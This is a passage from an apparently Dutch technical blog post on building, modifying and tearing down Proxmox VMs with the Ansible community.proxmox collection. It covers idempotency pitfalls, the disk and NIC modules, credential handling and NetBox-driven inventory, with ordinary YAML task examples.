\u0026#34;{{ inventory_hostname }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; ... De inventory-host is nu slechts een naam en een zak variabelen. inventory_hostname wordt de naam van de VM; zijn variabelen beschrijven de machine die je wilt. Niets verbindt ermee. De task draait op de control-node, die een HTTPS-sessie opent naar api_host en een VM-definitie post.\nJe zult dit ook geschreven zien als local_action:, wat de oudere syntaxis is voor hetzelfde. De teardown-playbook in die repository gebruikt het overal. Ze zijn equivalent. delegate_to is de huidige spelling.\nHet Noodluik Wijst Naar De Node Sommige dingen moeten werkelijk op een Proxmox-host gebeuren, en die tasks delegeren ergens anders naartoe:\n- name: Fail if no ISO file exists for the OS delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; ansible.builtin.stat: path: \u0026#34;{{ iso | replace(\u0026#39;isos:\u0026#39;, \u0026#39;/mnt/pve/isos/template/\u0026#39;) }}\u0026#34; register: iso_file failed_when: not iso_file.stat.exists Dat is een echte SSH-verbinding naar een echte node, die een echt pad op gedeelde storage controleert, want de API accepteert graag een ISO-referentie die niet naar een bestand resolveert en je komt het liever nu te weten dan bij boot. Let op de string-chirurgie die een PVE-storage-referentie (isos:iso/debian.iso) vertaalt naar een filesystem-pad. De storage-abstractie is niet beschikbaar voor stat.\nDus een enkele play heeft tasks die op drie verschillende plekken uitvoeren, en ze door elkaar halen is de meest voorkomende manier waarop deze playbooks falen:\nWaar elke task in een Proxmox-build-playbook werkelijk uitvoert Ansible-control-node delegate_to: localhost proxmox_kvm proxmox_vm_info proxmox_disk proxmox_access_acl elk ervan is een HTTPS-client, geen agent proxmoxer \u0026#8805; 2.0 + requests hier geïnstalleerd, niet op de node gather_facts: false Proxmox-node \u0026#8212; pve1 pvedaemon, REST API op poort 8006 qm, /etc/pve, storage de VM-definitie landt hier de VM die je maakt geen IP \u0026#183; geen SSH \u0026#183; geen Python geen besturingssysteem in de inventory is het alleen een naam en een zak variabelen API SSH qm set stat niets om mee te verbinden pas in een latere play Drie uitvoeringscontexten in één play. De Proxmox-modules raken de node of de gast nooit aan — het zijn HTTPS-clients die naast de playbook draaien. Het qm-noodluik is het enige deel dat SSH naar een hypervisor nodig heeft. Credentials, en een Standaard Die Op Het Punt Staat Te Veranderen De auth-opties worden door elke module in de collectie gedeeld via een documentatiefragment, dus ze zijn overal hetzelfde: api_host, api_user, en dan ofwel api_password of het paar api_token_id / api_token_secret. Ze vallen allemaal terug op omgevingsvariabelen — PROXMOX_HOST, PROXMOX_USER, PROXMOX_PASSWORD, PROXMOX_TOKEN_ID, PROXMOX_TOKEN_SECRET, PROXMOX_VALIDATE_CERTS — wat de schoonste manier is om secrets helemaal buiten de play te houden.\nEen API-token is de betere standaard. Het is scoped, het is intrekbaar zonder het wachtwoord van een mens te veranderen, en het kan precies de rechten krijgen die de playbook nodig heeft in plaats van die welke een persoon toevallig heeft:\n- name: Create Proxmox VM delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true ca_path: /etc/ssl/certs/pve-cluster-ca.pem Zet validate_certs expliciet, vandaag. De eigen documentatie van de collectie zegt het ronduit:\nCurrently defaults to false and changes default to true with community.proxmox 2.0.0.\nWat betekent dat een playbook die het nooit noemt op dit moment geen TLS valideert, en zal beginnen te valideren — en dus zal beginnen te falen tegen het zelfondertekende certificaat dat elke verse Proxmox-installatie levert — op het moment dat iemand --upgrade draait. Beter om die beslissing met opzet te maken dan hem midden in een build te laten landen. Als je het zelfondertekende certificaat houdt, zeg validate_certs: false en neem de bevinding; als je een echte keten hebt, wijs ca_path ernaar. Hoe dan ook is het opgeschreven.\nDe Minimaal Levensvatbare Create Kleed de productie-task uit tot wat werkelijk een machine definieert en het is leesbaar:\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true node: pve1 name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ vcpus | int }}\u0026#34; memory: \u0026#34;{{ memory }}\u0026#34; machine: q35 bios: ovmf ostype: l26 scsihw: virtio-scsi-single scsi: scsi0: \u0026#34;vmdata:32,format=qcow2,discard=on,ssd=1\u0026#34; sata: sata0: \u0026#34;isos:iso/debian-13-netinst.iso,media=cdrom\u0026#34; net: net0: \u0026#34;virtio,bridge=vmbr0\u0026#34; efidisk0: storage: vmdata format: raw efitype: 4m pre_enrolled_keys: true boot: \u0026#34;order=scsi0;sata0\u0026#34; agent: \u0026#34;enabled=1,fstrim_cloned_disks=1\u0026#34; onboot: true tags: - production Een paar dingen over die vorm zijn de moeite waard te weten voordat je je eigen schrijft.\nDe apparaatopties zijn PVE-syntaxis binnen YAML. scsi, sata, net, virtio, ide zijn allemaal getypeerd dict, gekeyed scsi0, net0 enzovoort, en de waarden zijn de komma-gescheiden optiestrings rechtstreeks uit man qm — \u0026lt;storage\u0026gt;:\u0026lt;size\u0026gt;,option=value voor een schijf, [model=]\u0026lt;enum\u0026gt;,option=value voor een NIC. De module modelleert ze niet; hij stuurt ze door. Wanneer iets geweigerd wordt, staat het antwoord in de PVE-optiereferentie, niet in de Ansible-docs.\nJe zult deze ook geschreven zien als een JSON-string in plaats van een YAML-mapping:\nnet: \u0026#39;{\u0026#34;net0\u0026#34;:\u0026#34;virtio,bridge={{ vlan_bridge }}\u0026#34;}\u0026#39; Beide werken. Ansible dwingt de string af voor een dict-getypeerde parameter. De JSON-vorm bestaat omdat het makkelijker is een hele structuur in één Jinja-expressie te templaten. De mapping-vorm is zes maanden later makkelijker te lezen.\nboot heeft twee generaties syntaxis. De module accepteert de legacy-letters, waar boot: \u0026quot;cdn\u0026quot; betekent \u0026ldquo;probeer schijf, dan cd-rom, dan netwerk\u0026rdquo;. Huidig PVE wil een expliciete geordende lijst — boot: \u0026quot;order=scsi0;sata0;net0\u0026quot; — wat ondubbelzinnig is over welke schijf. De legacy-vorm werkt nog. De expliciete vorm is wat je wilt in nieuw werk. Eén echte valstrik verstopt in de moduledocs: netwerkboot vereist het zetten van rng0 sinds PVE 8.3.5.\nnuma en numa_enabled zijn verschillende parameters. numa_enabled is de boolean die NUMA aanzet. numa is een dict die een topologie beschrijft (cpus, hostnodes, memory, policy). numa: true zetten is een type-fout, en het is een makkelijk uur om te verliezen. Als je erom geeft waarom iets hiervan uitmaakt, NUMA-uitlijning op Proxmox behandelt het onderliggende probleem.\nmachine: q35 en bios: ovmf zijn de juiste standaarden, geen decoratie — dat argument in het geheel.\nvmid weglaten betekent dat de module de API om de volgende vrije ID vraagt. Handig, en de directe oorzaak van het volgende.\nWaarom serial: 1 \u0026ldquo;Haal de volgende beschikbare ID op, maak dan een VM ermee\u0026rdquo; is twee API-aanroepen met een gat in het midden. Twee workers die dat gelijktijdig doen kunnen dezelfde vrije ID lezen, en de verliezer krijgt een fout of, erger, een verrassing.\nserial: 1 maakt de create-fase één host per keer. Het is niet snel en het hoeft niet snel te zijn. Het dure deel van een VM bouwen gebeurt nadat deze playbook overdraagt. De tegenhanger-play die de voltooide VM\u0026rsquo;s start gebruikt serial: 5, want starten heeft geen gedeelde teller om op te racen.\nAls je liever de parallelliteit hebt, wijs de VMID zelf toe vanuit je bron van waarheid en geef hem expliciet door. Dan is er geen read-modify-write en geen race.\nIdempotentie Is Niet Wat Je Verwacht Dit is de sectie om twee keer te lezen, want proxmox_kvm gedraagt zich niet als ansible.builtin.package.\nname is geen identiteit. VM-namen zijn niet uniek over een Proxmox-cluster, en de module zegt het. Met state: present en geen vmid, als een VM met die naam al bestaat, exit de module changed=false met msg: \u0026quot;VM with name \u0026lt;x\u0026gt; already exists\u0026quot; en doet niks. Hij vergelijkt je parameters niet met de werkelijkheid. Hij convergeert niet. Hij weigert.\nupdate staat standaard op false. Dus memory: bewerken in je playbook en herdraaien is een no-op. De VM houdt het geheugen waarmee hij gebouwd werd, de task meldt succes, en niets ergens vertelt je dat de twee uiteenlopen.\nupdate: true weigert nog steeds de interessante parameters. Uit de moduledocumentatie:\nBecause of the operations of the API and security reasons, I have disabled the update of the following parameters net, virtio, ide, sata, scsi. Per example updating net update the MAC address and virtio create always new disk…\nupdate_unsafe: true heft die beperking op, en de waarschuwing is niet voor de show:\nUse this option with caution because an improper configuration might result in a permanent loss of data (for example disk recreated).\nDus de schijf waarvan je dacht dat je hem vergrootte kan vervangen worden door een nieuwe lege. Grijp hier niet naar — de geweigerde parameters hebben hun eigen modules, en dat is de volgende sectie.\nEn --check dekt niets hiervan. De collectie declareert check-mode-ondersteuning per module, en die is inconsistent in precies de verkeerde richting:\nModule check_mode diff_mode proxmox_kvm geen geen proxmox_disk geen geen proxmox_template geen geen proxmox_snap volledig geen proxmox_nic volledig geen proxmox_pool volledig geen De splitsing is niet \u0026ldquo;read-only-modules kunnen het, write-modules niet\u0026rdquo; — proxmox_nic maakt en verwijdert interfaces en honoreert check-mode prima. Het is dat de drie modules die met storage en VM-levenscyclus omgaan dat niet doen. Een --check-run van een build-playbook slaat de VM-aanmaak stilletjes over en rapporteert dan over een wereld waarin de VM nooit gemaakt werd, dus elke task erna redeneert over de verkeerde toestand. Op een build-playbook is --check geen vangnet, en het als zodanig behandelen is erger dan het niet draaien.\nWat een tweede run van proxmox_kvm werkelijk doet tweede run \u0026#8212; state: present, en een VM met die naam bestaat de module vergelijkt je parameters nooit met de draaiende VM update: false de standaard changed = false \u0026#8220;VM with name \u0026lt;x\u0026gt; already exists\u0026#8221; bewerk memory in de play, herdraai, en niets ergens vertelt je het update: true convergeert het meeste ervan cores, memory, tags, agent, onboot toegepast net, virtio, ide, sata, scsi, efidisk0, tpmstate0 geweigerd per ontwerp gebruik proxmox_disk en proxmox_nic daarvoor update_unsafe: true convergeert het allemaal de geweigerde parameters worden ook toegepast een schijfparameter kan de schijf herscheppen permanent dataverlies is het gedocumenteerde risico --check vertelt je niets check_mode: none de task wordt overgeslagen elke latere task redeneert dan over een wereld waar de VM nooit gemaakt werd Twee van de vier convergeren überhaupt iets, en degene die schijven dekt is degene die ze kan vernietigen. Poort dus zelf op bestaan, en behandel aanmaak als een eenmalige gebeurtenis. Wat een tweede run werkelijk doet. Twee van de vier paden convergeren überhaupt iets, en de enige die schijven dekt is degene die ze kan vernietigen. Maak Dus Bestaan De Poort Gezien dat alles is het werkbare patroon om te stoppen de module te vragen idempotent te zijn en zelf te beslissen of je bouwt. De productie-playbook doet het zo:\n- name: Check if VM is present or manually built delegate_to: localhost community.proxmox.proxmox_vm_info: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; config: current register: existing_vm ignore_errors: true failed_when: (existing_vm.proxmox_vms | length) == 0 - name: Configure Proxmox VM when: existing_vm is failed block: - name: Create Proxmox VM ... proxmox_vm_info met config: current retourneert de VM en zijn live configuratie, of een lege lijst. failed_when verandert \u0026ldquo;lege lijst\u0026rdquo; in een falen, ignore_errors: true stopt dat falen ervan de play te beëindigen, en when: existing_vm is failed wordt \u0026ldquo;de VM is er niet, bouw hem\u0026rdquo;.\nEen opzettelijk gefaalde task als boolean gebruiken leest slecht, en ik ga niet doen alsof anders. Het alternatief is when: (existing_vm.proxmox_vms | default([]) | length) == 0, wat eerlijk is over een lengtecontrole te zijn en geen ignore_errors nodig heeft. Beide werken. De versie hierboven is wat in productie staat, en zijn ene echte voordeel is dat het geregistreerde resultaat de bestaande configuratie draagt voor latere tasks om te lezen.\nHet belangrijke deel is de vorm, niet de spelling: controleer, vertak dan, en behandel aanmaak als een eenmalige gebeurtenis. De doorlopende configuratie van een VM is een ander probleem dan het bestaan van een VM, en deze module is alleen goed in de tweede.\nSchijven en NIC\u0026rsquo;s Hebben Hun Eigen Modules Hier is het ding dat ik hierboven overheen praatte, en het verandert het hele beeld: de parameters die proxmox_kvm weigert te updaten zijn geen gat in de collectie. Ze zijn gedelegeerd. community.proxmox.proxmox_disk en community.proxmox.proxmox_nic voegen precies de dingen toe, veranderen en verwijderen die de create-module niet aanraakt — gekeyed op dezelfde scsi0- en net0-namen die je gebruikte toen je de VM bouwde.\nBeide gedragen zich beter dan proxmox_kvm, en een ervan is de enige module in deze workflow die dry-run kan.\nproxmox_nic — Een Interface Toevoegen, Hertaggen of Verwijderen - name: Move the VM\u0026#39;s primary NIC to a new bridge and VLAN delegate_to: localhost community.proxmox.proxmox_nic: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; interface: net0 bridge: vmbr1 tag: 120 model: virtio mtu: 1 queues: 4 firewall: true state: present interface is de enige vereiste optie naast auth — net[n] waar n 0 tot 31 is — en state: present of absent geeft je toevoegen en verwijderen. model staat standaard op virtio, wat het juiste antwoord is tenzij een gast er niet mee omkan.\nDe reden dat deze module bestaat is het MAC-adres. Herinner je waarom proxmox_kvm weigert net te updaten: \u0026ldquo;updating net update the MAC address\u0026rdquo;. proxmox_nic repareert dat expliciet:\nWhen not specified this module will keep the MAC address the same when changing an existing interface.\nDus je kunt een VLAN hertaggen, een bridge verplaatsen, de MTU veranderen of de firewall aanzetten zonder dat de NIC-identiteit van de gast eronder verandert. Dat doet er meer toe dan het klinkt: een nieuwe MAC ongeldig maakt DHCP-reserveringen, breekt alles wat aan een NIC gelicentieerd is, en desynchroniseert het NetBox-interface-record dat de create-playbook zo zorgvuldig schreef. Dit is de module die een dag-2-netwerkwijziging saai laat zijn.\nEen paar opties de moeite waard te kennen voordat je ze nodig hebt:\nrate is in MBps — MegaBytes per seconde, geen bits. De documentatie is expliciet en de factor-acht-fout is heel makkelijk te maken. link_down: true koppelt de interface los, in de docs beschreven als \u0026ldquo;like pulling the plug\u0026rdquo;. Een schone manier om een verdachte VM te isoleren zonder hem te stoppen of de gast aan te raken. trunks neemt een lijst van VLAN-ID\u0026rsquo;s om door te laten, voor een gast die zijn eigen tagging doet. mtu: 1 is geen typefout en geen MTU van 1 byte — het betekent \u0026ldquo;erf de bridge-MTU\u0026rdquo;, en het geldt alleen voor virtio. queues zet multiqueue, 0 tot 16. De moeite waard af te stemmen op vCPU-aantal op alles dat echt verkeer duwt. En het ondersteunt check-mode volledig. --check op een proxmox_nic-task vertelt je de waarheid, wat het het ene deel van deze workflow maakt dat je veilig kunt repeteren. Zijn berichten zijn ook netjes idempotent. Een onveranderde interface meldt Nic net0 unchanged on VM with vmid 103 in plaats van een wijziging te claimen.\nproxmox_disk — De Hele Schijf-Levenscyclus proxmox_disk is de grootste module van de drie, en zijn state doet vijf verschillende klussen:\nstate Wat er gebeurt Omkeerbaar? present maak de schijf, of update opties op een bestaande n.v.t. resized vergroot hem — PVE kan niet krimpen, en de docs zeggen doe dat handmatig nee detached wordt unused[n]; het volume en zijn data blijven ja moved verander backing-storage, of geef de schijf aan een andere VM origineel behouden tenzij delete_moved absent verwijderd uit backing-storage nee Het gat tussen detached en absent is het vangnet dat proxmox_kvm je nooit geeft. Loskoppelen is een configwijziging; verwijderen vernietigt data. Twee verschillende woorden, twee verschillende gevolgen.\nEen tweede schijf toevoegen aan een VM die al bestaat:\n- name: Add a data disk delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 storage: vmdata size: 200 format: qcow2 iothread: true aio: io_uring discard: \u0026#34;on\u0026#34; ssd: true backup: true state: present create is de knop die proxmox_kvm had moeten hebben. Het bepaalt wat state: present mag doen:\nregular (de standaard) — maak de schijf als hij ontbreekt, update anders zijn opties. disabled — update alleen opties, en maak nooit aan. Dit is degene om naar te grijpen wanneer je cache of iothread verandert op een schijf die al moet bestaan. Hij kan je niet verrassen door een nieuw volume tevoorschijn te toveren omdat een key verkeerd gespeld werd. forced — maak altijd aan. Een bestaande schijf wordt losgekoppeld en ongebruikt gelaten, niet verwijderd. Dat laatste gedrag is het belangrijke detail. create: forced is de destructief-ogende optie, en hij vernietigt nog steeds niets: het oude volume overleeft als unusedN en je kunt het opnieuw koppelen. Vergelijk dat met proxmox_kvm plus update_unsafe, wiens gedocumenteerde faalmodus een herschapen schijf is. Dezelfde ruwe operatie, veel betere blast radius.\nEen schijf vergroten:\n- name: Grow the data disk by 100 GiB delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 size: \u0026#34;+100G\u0026#34; state: resized Let op de eenheden, want size verandert van betekenis met state. Met state: present is het GiB als kaal getal (size: 200). Met state: resized neemt het een suffix — +100G om aan de huidige grootte toe te voegen, of 500G als absoluut doel. Eén parameter, twee conventies, en het falen is stil als je fout raadt.\nEen schijf naar andere storage verplaatsen, het live-migratie-van-één-volume-geval:\n- name: Move the disk to NVMe storage delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 target_storage: nvme-pool bwlimit: 200000 delete_moved: true timeout: 3600 state: moved target_storage verplaatst binnen één VM; target_vmid geeft de schijf aan een andere VM en vereist dezelfde storage op beide. Ze sluiten elkaar uit. delete_moved staat standaard op false, dus standaard eindig je met twee kopieën en het origineel dat er ongebruikt bij staat — veilig, en een goede manier om een storage-pool te vullen als je er nooit op terugkomt.\ntimeout staat hier standaard op 600, tegen 30 in proxmox_kvm. Dezelfde-ogende parameter, twintigvoudig verschil, want deze operaties kopiëren data. Verhoog hem voor grote images of trage storage — de docs zeggen het voor zowel moved als import_from.\nWat de optie oproept die deze module het V2V- en cloud-image-pad maakt:\nimport_from: \u0026#34;vmdata:9000/base-debian13.qcow2\u0026#34; import_from bouwt de schijf vanuit een bestaand volume in plaats van een leeg toe te wijzen — \u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;NAME\u0026gt;, of \u0026lt;STORAGE\u0026gt;:import/\u0026lt;NAME\u0026gt; met de storage-import-directory op PVE 9.x en later. Het sluit elkaar uit met size, en alleen root kan absolute filesystem-paden gebruiken.\nDe rest van de parameterlijst is de reden om schijven met deze module te koppelen in plaats van inline in de create-aanroep: cache, aio, iothread, discard, ssd, backup, detect_zeroes, en de volledige throttling-familie — iops, iops_rd, iops_wr, hun _max- en _max_length-varianten, en de bps_*_max_length-burst-controles. Niets daarvan is bereikbaar via proxmox_kvm na aanmaak.\nTwee kanttekeningen, beide uit de eigen documentatie van de module:\nSommige optiewijzigingen hebben een reboot nodig. \u0026ldquo;Some updates on options (like cache) are not being applied instantly and require VM restart.\u0026rdquo; Een groene task betekent dat de config geschreven werd, niet dat de draaiende VM zich anders gedraagt. Het ondersteunt geen check-mode. check_mode: none, hetzelfde als proxmox_kvm. Dus de collectie splitst in het midden: NIC-wijzigingen kunnen gerepeteerd worden met --check, schijfwijzigingen niet. De Verdeling Van Het Werk Om dit te doen Gebruik De VM maken proxmox_kvm, één keer, gepoortd op bestaan Cores, geheugen, tags, agent, onboot veranderen proxmox_kvm met update: true Een NIC toevoegen, hertaggen, loskoppelen of verwijderen proxmox_nic Een schijf toevoegen, vergroten, verplaatsen, loskoppelen of verwijderen proxmox_disk Snapshot proxmox_snap (ook volledige check-mode) Alles wat geen ervan blootlegt qm set over SSH Een schijf of NIC via proxmox_kvm veranderen niets — dit is waar update_unsafe voor is, en het is waarom je het niet zou moeten gebruiken Bouw de VM met een minimale proxmox_kvm-aanroep, koppel dan de schijven en interfaces met hun eigen modules. Het zijn meer tasks, en het is de versie waar dag-2-wijzigingen een route hebben die geen optie betrekt wiens gedocumenteerde risico een schijf verliezen is.\nWaar De Module Ophoudt proxmox_kvm heeft een enorme parameterlijst en dekt nog steeds niet alles wat qm kan. In plaats van te wachten, zakt de productie-playbook naar de CLI op de node:\n- name: Set RNG source and better SPICE quality delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; become: true ansible.builtin.command: cmd: \u0026gt;- /usr/sbin/qm set {{ created_vm.vmid }} --rng0 source=/dev/urandom --spice_enhancements videostreaming=all Er is niets mis met dit. Het is niet idempotent in enige betekenisvolle zin — qm set is een write, en het zal elke run changed melden — maar het is expliciet, het is leesbaar, en het doet niet alsof. Als een module de parameter later krijgt, verwijder je de task.\nAndere dingen hebben een tweede doorgang door de module met update: true nodig, want ze kunnen niet gezet worden in dezelfde aanroep die de VM maakt:\n- name: Add SPICE-compatible USB device delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; usb: usb0: \u0026#34;spice,usb3=1\u0026#34; update: true when: spice_usb | default(false) Merk op dat het vmid doorgeeft, geen name. Zodra je de ID hebt, gebruik hem. Het is de enige identifier die de API als uniek behandelt.\nEn voor de dingen die QEMU kan die PVE geen optie voor heeft, is er args, dat verbatim aan de QEMU-commandoregel wordt doorgegeven:\nargs: \u0026gt;- -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Die presenteert de virtuele schijf als 4Kn in plaats van 512e, wat er meer toe doet dan het klinkt — blokgroottes, 4Kn en 512e. De module labelt args \u0026ldquo;for experts only\u0026rdquo;, en de reden is dat PVE het niet valideert en een slechte flag de VM stopt met booten met een fout die van QEMU komt in plaats van van Proxmox.\nHet Cluster Is Niet Direct Consistent - name: Let registration complete on cluster ansible.builtin.pause: seconds: 5 when: created_vm.changed Een pause in een playbook is doorgaans een luchtje, en deze is dragend. De create-aanroep keert terug wanneer de API de definitie heeft geaccepteerd, wat niet hetzelfde is als elke node die het erover eens is dat de VM bestaat — en de allereerstvolgende task wil een ACL zetten op /vms/\u0026lt;vmid\u0026gt;. Vijf seconden geduld is goedkoper dan een retry-lus rond een fout die alleen onder belasting opduikt.\nDe teardown-playbook heeft dezelfde vorm om dezelfde reden: stop, wacht, verwijder dan.\nTeruglezen Wat Je Bouwde proxmox_kvm documenteert drie returnwaarden: vmid, status en msg. In de praktijk wil je een vierde, en die staat niet in de documentatie.\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026#34;{{ created_vm.mac.net0 }}\u0026#34; created_vm.mac is echt — de module bouwt het in get_vminfo() en splat het in het resultaat — maar het is afwezig uit het gedocumenteerde RETURN-blok, wat betekent dat niets belooft dat het zal blijven werken. De moeite waard precies te weten hoe het zich gedraagt, want er zitten twee vallen in:\nHet verschijnt alleen wanneer de module de VM werkelijk maakte. mac wordt alleen samengesteld op het create-and-deploy-pad. Neem de \u0026ldquo;bestaat al\u0026rdquo;-vertakking en het resultaat heeft vmid en msg en niets anders. Het bevat alleen de interfaces die je doorgaf. De code doorloopt de parameters die jij leverde en kiest degene die matchen op net[0-9], en leest dan de opgeslagen config van elk terug uit de API. Geen net-parameter, geen mac-key. Wat is waarom de productie-playbook beide helften nodig heeft, en de tweede is lelijk:\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026gt;- {{ created_vm.mac.net0 if created_vm is defined and created_vm.changed else ((existing_vm.proxmox_vms[0].config.net0 | split(\u0026#39;,\u0026#39;))[0] | split(\u0026#39;=\u0026#39;))[1] }} Wanneer de VM al bestond, is er geen mac, dus het MAC moet uit de raw config-string gegraven worden. net0 komt terug van de API als virtio=AE:AE:5C:A8:89:85,bridge=vmbr0, dus: splits op komma\u0026rsquo;s, neem het eerste veld, splits op =, neem de tweede helft. Het is string-chirurgie op een API-response, en het is de eerlijke kostenpost van een module wiens returnvorm afhangt van welke vertakking hij nam.\nAls je het MAC betrouwbaar nodig hebt in beide gevallen, haal het onvoorwaardelijk uit proxmox_vm_info en parseer één vorm in plaats van twee.\nHet Aansturen Vanuit Een Bron Van Waarheid Kijk nog eens naar de regel die de play opent:\nhosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; Dat is de werkelijke architectuur, en het is de moeite waard ronduit te stellen: de VM\u0026rsquo;s om te bouwen zijn geen lijst in een vars-bestand. Het zijn de hosts in je inventory waarvan de vastgelegde status zegt dat ze zouden moeten bestaan en dat nog niet doen.\nDe inventory hier is NetBox. Een VM wordt aangevraagd door een NetBox-record met status planned te maken, dat zijn CPU, geheugen, schijf, VLAN, eigenaar en platform draagt. De playbook selecteert planned-machines, bouwt ze, wijst een IP toe, schrijft DNS, en zet dan het record op staged — op welk punt die host niet langer matcht met het host-patroon van de play, en een handler de inventory ververst zodat de volgende play de nieuwe toestand ziet:\nhandlers: - name: Refresh inventory ansible.builtin.meta: refresh_inventory Het statusveld is een toestandsmachine, de playbook is één overgang erin, en het geheel is herdraaibaar omdat een host die al verder is gegaan niet langer geselecteerd wordt. Dat is een veel betere eigenschap dan enige hoeveelheid idempotentie op moduleniveau, en het is de reden dat de create-task ermee wegkomt een one-shot te zijn.\ncommunity.proxmox levert ook zijn eigen inventory-plugin, die een inventory bouwt vanuit het cluster — de juiste keuze wanneer Proxmox de bron van waarheid is. Hier is het andersom: NetBox is gezaghebbend en Proxmox is waar zijn intentie gerealiseerd wordt. Dat is een hele post op zichzelf en die schrijf ik apart.\nHet Weer Weghalen Aanmaak zonder teardown is een halve levenscyclus, en het verwijderingspad heeft zijn eigen val — je kunt geen draaiende VM verwijderen:\n- name: Force stop the VM if it is running delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: stopped force: true timeout: 10 - name: Allow the cluster to stop the VM before removing it ansible.builtin.pause: seconds: 10 - name: Remove the VM from the cluster delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: absent force: true timeout: 10 state: stopped is een gracieuze afsluiting, en de interactie met timeout is gedocumenteerd en de moeite waard te onthouden: als de timeout wordt bereikt met force: true wordt de VM hard uitgeschakeld; met force: false faalt de task in plaats daarvan. Een gracieus venster van tien seconden gevolgd door een ruk aan de stekker is een redelijk beleid voor een machine die afgebroken wordt, en een verschrikkelijk voor iets anders.\nDe volledige teardown (proxmox-remove-vms.yml) ontrafelt dan de rest van het record: DNS, het toegewezen IP, de NetBox-interfaces, de NetBox-VM, en de verouderde entries in known_hosts. Het wikkelt het blok in ignore_errors: true, wat verdedigbaar is in een teardown. Je verwijdert dingen die mogelijk al weg zijn, en een half-verwijderde machine is erger dan een luidruchtige log.\nWat Ik Zou Veranderen In Een Verse Build Nadat ik de modulebron heb gelezen in plaats van alleen zijn documentatie, vier dingen:\nGebruik een API-token, geen api_user plus api_password. Scoped, intrekbaar, en het behoort nooit toe aan een persoon. Zet validate_certs expliciet, voordat 2.0.0 het onder je verandert. Wijs de VMID zelf toe vanuit de bron van waarheid. Het verwijdert de read-modify-write-race, laat je serial: 1 laten vallen, en geeft elke latere task een stabiele identifier in plaats van een naam die niet uniek is. Maak de VM kaal, koppel dan zijn schijven en NIC\u0026rsquo;s met proxmox_disk en proxmox_nic. Meer tasks, maar elke schijf en interface heeft dan een module die het later kan veranderen — inclusief create: disabled voor optie-only-bewerkingen en state: detached in plaats van verwijdering — in plaats van een config die alleen via update_unsafe veranderd kan worden. Haal het MAC uit proxmox_vm_info op één plek, zodat er één vorm te parseren is in plaats van een conditionele over een gedocumenteerde en een ongedocumenteerde returnwaarde. En grijp niet naar --check op een build-playbook. De module die ertoe doet kan het niet honoreren.\nEen dry-run die altijd ja zegt is erger dan helemaal geen dry-run, want je zult hem geloven.\nReferenties community.proxmox collection docs — het volledige 47-module-oppervlak community.proxmox op GitHub — waar de bron hierboven leeft; plugins/modules/proxmox_kvm.py is het bestand om te lezen wanneer de docs dubbelzinnig zijn proxmox_kvm-moduledocumentatie — de parameterlijst, en de update / update_unsafe-waarschuwingen hierboven geciteerd proxmox_vm_info-moduledocumentatie — config: current en config: pending PVE qm-optiereferentie — de echte specificatie voor elke scsi[n]-, net[n]- en boot-string die je doorgeeft proxmoxer — de Python-client waarop de collectie is gebouwd damo2929/ansible-example — de playbooks waar deze fragmenten vandaan komen, inclusief de NetBox-aangestuurde inventory, DHCP-generatie en hypervisor-build ","permalink":"https://blogs.damiendye.uk/nl/ansible/proxmox-create-vms-community-proxmox/","summary":"De community.proxmox-collectie is een API-client, geen configuratie-agent, en dat verandert de vorm van elke playbook die hem gebruikt. Waar de tasks werkelijk draaien, waarom proxmox_kvm weigert te convergeren in plaats van te updaten, waarom proxmox_disk en 